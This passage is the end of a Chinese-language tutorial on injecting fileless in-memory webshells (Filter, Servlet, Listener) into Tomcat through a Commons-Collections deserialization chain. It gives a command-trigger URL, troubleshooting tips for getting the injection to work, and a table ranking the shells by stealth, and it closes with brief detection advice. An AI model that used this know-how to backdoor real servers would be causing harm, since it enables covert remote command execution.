public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM dom, DTMAxisIterator it, SerializationHandler handler) throws TransletException {}
}
注入成功后,任意路径带 cmd 参数即可触发,和 Filter 马效果一样:
http://localhost:8080/任意路径/?cmd=calc
常见问题踩坑
1. ClassCastException: cannot cast to ParallelWebappClassLoader
不同版本 Tomcat 的类加载器类名不一样,有时候是 WebappClassLoader,有时候是 ParallelWebappClassLoader。建议不要写死强转,改用 instanceof 判断,或者按父类 WebappClassLoaderBase 来操作,兼容性会好很多。
2. NoSuchFieldException: resources
resources 字段可能在父类里,getStandardContext() 里用循环 getSuperclass() 向上找就能解决,本文代码里已经处理了这个问题。
3. Filter 注入成功但命令无回显
大概率是 filterStart() 没调或者调用时机不对。确认顺序是 addFilterDef → addFilterMap → filterStart(),缺一不可。
4. Listener 里拿不到 response
反射路径是 RequestFacade → Request → Response,Tomcat 不同版本字段名可能略有差异。建议先在本地 debug,用 IDE 的变量观察窗口确认字段结构再写代码,别靠猜。
5. CC 链触发后服务器报 ClassCastException
TemplatesImpl 加载的类必须继承 AbstractTranslet,否则 newTransformer() 调用会抛异常,后续构造函数根本不会执行。确认注入器类 extends AbstractTranslet,且两个抽象方法都实现了。
6. Listener 访问任意路径能弹 calc 但页面卡死
这是没有调用 finishResponse() 导致的,Tomcat 在执行完 Listener 后还会继续走后续的 Valve 和错误页面处理,新的响应内容把我们写的东西覆盖了,或者响应流没有正确关闭。加上反射调用 catalinaResponse.finishResponse() 就能解决。
总结
整个流程的精妙在于各个环节的无缝衔接:
- CC 链负责把序列化数据转化为代码执行的触发
- TemplatesImpl 充当字节码加载器,还原恶意类并触发构造函数
- 构造函数里的反射链负责从线程上下文一路挖到
StandardContext - defineClass 绕过类路径限制,把恶意组件直接注入 JVM
- FilterDef / Wrapper / EventListener 通过 Tomcat 的标准 API 完成运行时注册
整个过程没有文件写入磁盘,所有操作都在内存里完成。服务重启后内存马消失,但在运行期间,通过一个普通的 GET 参数就能持续控制服务器。
三种内存马类型对比:
| 类型 | 触发方式 | 路径要求 | 隐蔽性 |
|---|---|---|---|
| Filter | /* 任意路径 + cmd 参数 | 无限制 | 高 |
| Servlet | 固定路径 + cmd 参数 | 需访问特定路径 | 中 |
| Listener | 任意路径 + cmd 参数 | 无限制 | 最高 |
从防御角度来说,内存马不落磁盘,传统文件扫描完全失效。主要的检测手段包括:JVM Instrumentation(如 java-memshell-scanner 这类工具)、异常类加载行为监控,以及对动态注册 Filter / Servlet 行为的检测。了解攻击手法的目的,也是为了更好地理解防御该从哪里入手。
写在最后:刚接触这块的时候觉得利用链 + 内存马 + 反射一起上会很复杂,但真正拆开来一步步实现,发现每个模块其实都是独立的、可以单独验证的。把它们连起来之后,整个流程反而清晰了很多——共勉。